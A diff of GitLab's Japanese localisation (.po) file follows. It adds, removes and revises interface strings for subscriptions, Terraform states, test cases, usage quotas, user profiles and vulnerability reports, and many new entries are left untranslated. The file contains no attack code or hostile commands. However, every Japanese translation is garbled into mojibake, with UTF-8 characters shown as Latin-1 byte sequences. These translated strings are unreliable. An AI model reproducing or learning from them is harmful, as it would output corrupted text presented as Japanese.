msgstr "ãã‚Œã§ã‚‚ã€ã©ã“ã‹ã«ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ã‚’å–ã£ã¦ãŠãã“ã¨ã‚’ãŠå‹§ã‚ã—ã¾ã™ã€‚ãã†ã§ãªã‘ã‚Œã°ã€ã‚‚ã—紛失ã—ã¦ã—ã¾ã£ã¦å¿…è¦ã«ãªã£ãŸå ´åˆã¯ã€GitLab Inc. ã«å†é€ä¿¡ã‚’ä¾é ¼ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
@@ -25637,6 +26193,9 @@ msgstr "使用å¯èƒ½ãªã‚·ãƒ¼ãƒˆæ•°"
msgid "SubscriptionTable|Next invoice"
msgstr "次ã®è«‹æ±‚書"
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr "ç¾åœ¨ä½¿ç”¨ä¸­ã®ã‚·ãƒ¼ãƒˆæ•°"
@@ -25646,6 +26205,9 @@ msgstr "購読中ã®ã‚·ãƒ¼ãƒˆæ•°"
msgid "SubscriptionTable|Seats owed"
msgstr "未払ã„ã®ã‚·ãƒ¼ãƒˆæ•°"
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr "サブスクリプション終了日"
@@ -25694,6 +26256,9 @@ msgstr ""
msgid "Succeeded"
msgstr "æˆåŠŸã—ã¾ã—ãŸ"
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr "有効化ã«æˆåŠŸã—ã¾ã—ãŸ"
@@ -25868,6 +26433,9 @@ msgstr "åŒæœŸæ¸ˆã¿"
msgid "Synchronization disabled"
msgstr "åŒæœŸã¯ç„¡åŠ¹ã§ã™"
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26036,9 +26604,6 @@ msgstr "ãƒãƒ¼ãƒ ãƒ‰ãƒ¡ã‚¤ãƒ³"
msgid "Telephone number"
msgstr "電話番å·"
-msgid "Telephone number (Optional)"
-msgstr "é›»è©±ç•ªå· (オプション)"
-
msgid "Template"
msgstr "テンプレート"
@@ -26078,6 +26643,9 @@ msgstr "利用è¦ç´„ã¨ãƒ—ライãƒã‚·ãƒ¼ãƒãƒªã‚·ãƒ¼"
msgid "Terms of Service and Privacy Policy"
msgstr "利用è¦ç´„ã¨ãƒ—ライãƒã‚·ãƒ¼ãƒãƒªã‚·ãƒ¼"
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26086,24 +26654,48 @@ msgid "Terraform|%{number} Terraform report was generated in your pipelines"
msgid_plural "Terraform|%{number} Terraform reports were generated in your pipelines"
msgstr[0] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr "テスト"
@@ -26123,6 +26715,12 @@ msgstr[0] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26150,6 +26748,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26180,6 +26781,9 @@ msgstr "ã“ã®ãƒ—ロジェクトã«ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãŒã‚ã‚‹ã“ã¨ã‚’確
msgid "TestHooks|Ensure the project has notes."
msgstr "プロジェクトã«ãƒŽãƒ¼ãƒˆãŒã‚ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。"
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr "ã“ã®wikiãŒæœ‰åŠ¹ã§ã€ãƒšãƒ¼ã‚¸ãŒã‚ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。"
@@ -26274,9 +26878,6 @@ msgstr "課題トラッカーã¯ã€ãƒ—ロジェクトを改善ã—ãŸã‚Šè§£æ±ºã—
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr "Prometheusサーãƒãƒ¼ã¯ã€Œæ‚ªã„リクエストã€ã¨å¿œç­”ã—ã¾ã—ãŸã€‚クエリãŒæ­£ã—ãã‚ãªãŸã®Prometheusã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。 %{documentationLink}"
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26286,12 +26887,12 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr "Elasticsearchã¸ã®æŽ¥ç¶šã«ä½¿ç”¨ã™ã‚‹URL。クラスタリングをサãƒãƒ¼ãƒˆã™ã‚‹ã«ã¯ã€ã‚³ãƒ³ãƒžåŒºåˆ‡ã‚Šãƒªã‚¹ãƒˆã‚’使用ã—ã¾ã™(例: http://localhost:9200, http://localhost:9201)。"
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "外部èªè¨¼ã‚µãƒ¼ãƒ“スã¨ã®é€šä¿¡ã«ç›¸äº’ TLS ãŒå¿…è¦ãªå ´åˆã«ä½¿ç”¨ã™ã‚‹ X509 証明書。空白ã®ã¾ã¾ã«ã™ã‚‹ã¨ã€HTTPS 経由ã§ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã¨ãã«ã‚µãƒ¼ãƒè¨¼æ˜Žæ›¸ã®æ¤œè¨¼ãŒè¡Œã‚ã‚Œã¾ã™ã€‚"
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
-msgstr ""
-
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
msgstr ""
@@ -26358,9 +26959,6 @@ msgstr "ã‚ãªãŸãŒå…¥åŠ›ã—ãŸãƒ‰ãƒ¡ã‚¤ãƒ³ã¯è¨±å¯ã•ã‚Œã¦ã„ã¾ã›ã‚“。"
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr "入力ã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ãƒžãƒƒãƒ—ã¯ã€æœ‰åŠ¹ãªJSONユーザーマップã§ã¯ã‚ã‚Šã¾ã›ã‚“。"
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26401,6 +26999,9 @@ msgstr "フォークã®ãƒªãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ãŒå‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26449,6 +27050,12 @@ msgstr "招待をå†é€ã—ã¾ã—ãŸã€‚"
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "課題ステージã§ã¯ã€èª²é¡ŒãŒç™»éŒ²ã•ã‚Œã¦ã‹ã‚‰ãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³ã«å‰²ã‚Šå½“ã¦ã‚‰ã‚Œã‚‹ã‹ã€èª²é¡Œãƒœãƒ¼ãƒ‰ã®ãƒªã‚¹ãƒˆã«è¿½åŠ ã•ã‚Œã‚‹ã¾ã§ã®æ™‚é–“ãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚ã“ã®ãƒªã‚¹ãƒˆã«è¡¨ç¤ºã™ã‚‹ã«ã¯èª²é¡Œã‚’最åˆã«ä½œæˆã—ã¦ãã ã•ã„。"
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26494,6 +27101,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr "アップロードレコードãŒãƒ•ã‚¡ã‚¤ãƒ«ã‚’見ã¤ã‘られãªã‹ã£ãŸå›žæ•°"
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26605,6 +27215,9 @@ msgstr "ステージングステージã§ã¯ã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãŒãƒžãƒ¼
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "テスティングステージã§ã¯ã€GitLab CI ãŒé–¢é€£ã™ã‚‹ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®å„パイプラインを実行ã™ã‚‹æ™‚é–“ãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚ã“ã®ãƒ‡ãƒ¼ã‚¿ã¯æœ€åˆã®ãƒ‘イプラインãŒå®Œäº†ã—ãŸã¨ãã«è‡ªå‹•çš„ã«è¿½åŠ ã•ã‚Œã¾ã™ã€‚"
@@ -26614,8 +27227,8 @@ msgstr "ã“ã®ã‚¹ãƒ†ãƒ¼ã‚¸ã«åŽé›†ã•ã‚ŒãŸãƒ‡ãƒ¼ã‚¿æ¯Žã®æ™‚é–“"
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr "アップデート㯠%{number_of_minutes} 分後ã«ã‚¿ã‚¤ãƒ ã‚¢ã‚¦ãƒˆã—ã¾ã™ã€‚大ããªãƒªãƒã‚¸ãƒˆãƒªã«ã¯ã€clone 㨠push を組ã¿åˆã‚ã›ã¦ä½¿ã£ã¦ãã ã•ã„。"
-msgid "The uploaded file is not a valid Google Takeout archive."
-msgstr "アップロードã•ã‚ŒãŸãƒ•ã‚¡ã‚¤ãƒ«ã¯æœ‰åŠ¹ãª Google テイクアウトアーカイブã§ã¯ã‚ã‚Šã¾ã›ã‚“。"
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
+msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
msgstr "利用状æ³ã®é€ä¿¡ãŒç„¡åŠ¹ã«ãªã£ã¦ãŠã‚Šã€ã“ã®ãƒ•ã‚©ãƒ¼ãƒ ã§ã¯è¨­å®šã§ãã¾ã›ã‚“。"
@@ -26626,9 +27239,6 @@ msgstr "ユーザーを削除中ã§ã™ã€‚"
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr "ユーザーマップをä¿å­˜ã—ã¾ã—ãŸã€‚インãƒãƒ¼ãƒˆå¯¾è±¡ã®ãƒ—ロジェクトをé¸æŠžã—ã¦ç¶šã‘ã¦ãã ã•ã„。"
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr "ユーザーマップã¯ã€ã‚ãªãŸã®ãƒ—ロジェクトã«å‚加ã—㟠FogBugz ユーザーã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã¨ãƒ¦ãƒ¼ã‚¶ãƒ¼åã‚’ GitLab ã«ã‚¤ãƒ³ãƒãƒ¼ãƒˆã™ã‚‹æ™‚ã«ãƒžãƒƒãƒ”ングã—ã¾ã™ã€‚ã“れを変更ã™ã‚‹ã«ã¯ã€ä»¥ä¸‹ã®è¡¨ã«å…¥åŠ›ã—ã¾ã™ã€‚"
@@ -26644,6 +27254,9 @@ msgstr "得られãŸä¸€é€£ã®ãƒ‡ãƒ¼ã‚¿ã‚’å°ã•ã„é †ã«ä¸¦ã¹ãŸã¨ãã«ä¸­å¤®
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26731,6 +27344,9 @@ msgstr "ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã¨å…±æœ‰ã—ã¦ã„るプロジェクトã¯ã‚ã‚Šã¾ã›
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27046,9 +27662,6 @@ msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ %{link_to_merge_request} ã
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯ %{strong_open}検証済ã¿%{strong_close}ã®ç½²åã§ã‚µã‚¤ãƒ³ã•ã‚Œã¦ãŠã‚Šã€ã“ã®ã‚³ãƒŸãƒƒã‚¿ãƒ¼ã®ãƒ¡ãƒ¼ãƒ«ã¯åŒã˜ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®ã‚‚ã®ã§ã‚ã‚‹ã“ã¨ãŒæ¤œè¨¼ã•ã‚Œã¦ã„ã¾ã™ã€‚"
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯ <strong>検証済ã¿</strong> ã®ç½²åã§ã‚µã‚¤ãƒ³ã•ã‚Œã¦ãŠã‚Šã€ã“ã®ã‚³ãƒŸãƒƒã‚¿ãƒ¼ã®ãƒ¡ãƒ¼ãƒ«ã¯åŒã˜ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®ã‚‚ã®ã§ã‚ã‚‹ã“ã¨ãŒæ¤œè¨¼ã•ã‚Œã¦ã„ã¾ã™ã€‚"
-
msgid "This commit was signed with a different user's verified signature."
msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯åˆ¥ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®æ¤œè¨¼æ¸ˆã¿ç½²åã§ã‚µã‚¤ãƒ³ã•ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -27058,9 +27671,6 @@ msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯æ¤œè¨¼æ¸ˆã¿ã®ç½²åã§ã‚µã‚¤ãƒ³ã•ã‚Œã¦ã„ã¾ã™
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯%{strong_open}検証ã•ã‚Œã¦ã„ãªã„%{strong_close}ç½²åã§ã‚µã‚¤ãƒ³ã—ã¦ã„ã¾ã—ãŸã€‚"
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯<strong>検証ã•ã‚Œã¦ã„ãªã„</strong> ç½²åã§ã‚µã‚¤ãƒ³ã•ã‚Œã¦ã„ã¾ã™ã€‚"
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr "ã“ã®å†…容ã¯è¡¨ç¤ºã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ç†ç”±ã¯ %{reason} ã§ã™ã€‚代ã‚ã‚Šã« %{options} ãŒä½¿ç”¨ã§ãã¾ã™ã€‚"
@@ -27103,6 +27713,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr "ã“ã®ã‚¨ãƒ”ックã«ã¯ã€æ—¢ã«æœ€å¤§æ•°ã®å­ã‚¨ãƒ”ックãŒã‚ã‚Šã¾ã™ã€‚"
@@ -27166,7 +27779,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27175,9 +27788,6 @@ msgstr "ã“ã‚Œã¯ã‚ãªãŸã®ç¾åœ¨ã®ã‚»ãƒƒã‚·ãƒ§ãƒ³ã§ã™"
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr "ã“ã®èª²é¡Œã¯ç¾åœ¨ã€æ¬¡ã®èª²é¡Œã«ã‚ˆã£ã¦ãƒ–ロックã•ã‚Œã¦ã„ã¾ã™ã€‚: %{issues}"
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27292,7 +27902,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¯ãƒ­ãƒƒã‚¯ã•ã‚Œã¦ã„ã¾ã™ã€‚"
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27313,9 +27923,6 @@ msgstr "複数ã®ãƒ—ロジェクト間ã§èª­ã¿è¾¼ã¿ãŒè¨±å¯ã•ã‚Œã¦ã„ãªã„
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr "ã“ã®ãƒ‘イプラインã¯ã€%{codeStart}needs%{codeEnd} キーワードを使用ã—ã¦ã„ãªã„ãŸã‚ã€æœ‰å‘éžå‘¨æœŸã‚°ãƒ©ãƒ•ã¨ã—ã¦è¡¨ç¾ã§ãã¾ã›ã‚“。"
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27394,6 +28001,9 @@ msgstr "ã“ã®ã‚¿ã‚¤ãƒ ã‚¢ã‚¦ãƒˆã¯ã€ãƒ—ロジェクトã§å®šç¾©ã•ã‚ŒãŸã‚¿ã‚¤
msgid "This user cannot be unlocked manually from GitLab"
msgstr "ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯ GitLab ã‹ã‚‰ãƒžãƒ‹ãƒ¥ã‚¢ãƒ«æ“作ã§ãƒ­ãƒƒã‚¯ã‚’解除ã§ãã¾ã›ã‚“"
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27439,6 +28049,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr "è„…å¨ç›£è¦–"
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27739,6 +28352,9 @@ msgstr "タイムアウト"
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "時間"
@@ -27753,6 +28369,9 @@ msgstr "秒"
msgid "Tip:"
msgstr "ヒント:"
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr "タイトル"
@@ -27888,7 +28507,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -27987,6 +28606,9 @@ msgstr "有効ã«ãªã£ã¦ã„ã‚‹åå‰ç©ºé–“ãŒå¤šã™ãŽã¾ã™ã€‚コンソール
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "有効ã«ãªã£ã¦ã„るプロジェクトãŒå¤šã™ãŽã¾ã™ã€‚コンソールã¾ãŸã¯APIを使用ã—ã¦ç®¡ç†ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28329,6 +28951,9 @@ msgstr "Jira インスタンスã«æŽ¥ç¶šã§ãã¾ã›ã‚“。 Jira çµ±åˆè¨­å®šã‚’ç
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28395,8 +29020,8 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
-msgstr "ブロック解除"
+msgid "Unauthenticated request rate limit"
+msgstr ""
msgid "Undo"
msgstr "å…ƒã«æˆ»ã™"
@@ -28467,11 +29092,11 @@ msgstr "ディスカッションã®ãƒ­ãƒƒã‚¯ã‚’解除ã—ãŸ"
msgid "Unlocks the discussion."
msgstr "ディスカッションã®ãƒ­ãƒƒã‚¯ã‚’解除ã™ã‚‹."
-msgid "Unmarked this %{noun} as Work In Progress."
-msgstr "ã“ã® %{noun} を作業中マークを解除ã—ã¾ã—ãŸã€‚"
+msgid "Unmarked this %{noun} as a draft."
+msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
-msgstr "ã“ã® %{noun} を作業中マークを解除ã—ã¾ã—ãŸã€‚"
+msgid "Unmarks this %{noun} as a draft."
+msgstr ""
msgid "Unreachable"
msgstr ""
@@ -28665,9 +29290,6 @@ msgstr "課題ボードã®æ©Ÿèƒ½ã‚’強化ã™ã‚‹ãŸã‚ã«ã€ãƒ—ランをアップ
msgid "Upgrade your plan to improve Merge Requests."
msgstr "マージリクエストã®æ©Ÿèƒ½ã‚’強化ã™ã‚‹ãŸã‚ã«ã€ãƒ—ランをアップグレード"
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr "CSVファイルã®ã‚¢ãƒƒãƒ—ロード"
@@ -28686,6 +29308,9 @@ msgstr "ドメインã®è¨¼æ˜Žæ›¸ã¨ä¸­é–“証明書をアップロード"
msgid "Upload a private key for your certificate"
msgstr "証明書ã®ç§˜å¯†éµã‚’アップロード"
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "ファイルをアップロード"
@@ -28722,6 +29347,9 @@ msgstr "ã„ã„ã­"
msgid "Usage"
msgstr "使ã„æ–¹"
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28812,6 +29440,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr "無制é™"
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr "使用率"
@@ -28959,6 +29590,12 @@ msgstr "ユーザーã¯æ­£å¸¸ã«ãƒ—ロジェクトã‹ã‚‰å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚
msgid "User was successfully updated."
msgstr "ユーザーを正常ã«æ›´æ–°ã—ã¾ã—ãŸã€‚"
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29016,6 +29653,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "アクティビティ"
@@ -29061,6 +29701,9 @@ msgstr "個人的ãªãƒ—ロジェクト"
msgid "UserProfile|Report abuse"
msgstr "ä¸æ­£åˆ©ç”¨ã‚’報告ã™ã‚‹"
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "スニペット"
@@ -29091,6 +29734,9 @@ msgstr "ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯ã©ã®ãƒ—ロジェクトもãŠæ°—ã«ã„ã‚Šã«ã—ã¦
msgid "UserProfile|This user is blocked"
msgstr "ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯ãƒ–ロックã•ã‚Œã¦ã„ã¾ã™"
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr "ã™ã¹ã¦è¡¨ç¤º"
@@ -29127,6 +29773,9 @@ msgstr "ãã®ãƒ¦ãƒ¼ã‚¶ãƒ¼åã¯ä½¿ç”¨å¯èƒ½ã§ã™ã€‚"
msgid "Username or email"
msgstr "ユーザーåã¾ãŸã¯ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹"
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr "ユーザー"
@@ -29169,15 +29818,15 @@ msgstr "è­²å—人ãªã— - %{openingTag} 自分自身を割り当ã¦ã‚‹ %{closing
msgid "UsersSelect|Unassigned"
msgstr "未割り当ã¦"
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr "%{code_start}::%{code_end} を使ã£ã¦ã€ %{link_start} ラベルセットã®ç¯„囲%{link_end} を示ã™"
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr "æš—å·åŒ–フィールドãŒãªã„å ´åˆã€å¿…è¦ãªæš—å·åŒ–戦略を使用ã™ã‚‹!"
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29247,7 +29896,7 @@ msgstr "地域設定"
msgid "Various settings that affect GitLab performance."
msgstr "GitLab ã®ãƒ‘フォーマンスã«å½±éŸ¿ã™ã‚‹å„種設定。"
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29324,6 +29973,9 @@ msgstr "ファイルを表示 @ "
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr "ダッシュボードã®ãƒ•ãƒ«è¡¨ç¤º"
@@ -29381,6 +30033,9 @@ msgstr "プロジェクトラベルを表示"
msgid "View replaced file @ "
msgstr "変更後ファイルを表示 @ "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29474,9 +30129,6 @@ msgstr "レビュー"
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr "脆弱性"
@@ -29582,6 +30234,12 @@ msgstr "%{scannerName} (ãƒãƒ¼ã‚¸ãƒ§ãƒ³ %{scannerVersion})"
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr "クラス"
@@ -29630,10 +30288,7 @@ msgstr "åå‰ç©ºé–“"
msgid "Vulnerability|Project"
msgstr "プロジェクト"
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29648,6 +30303,9 @@ msgstr "é‡è¦åº¦"
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
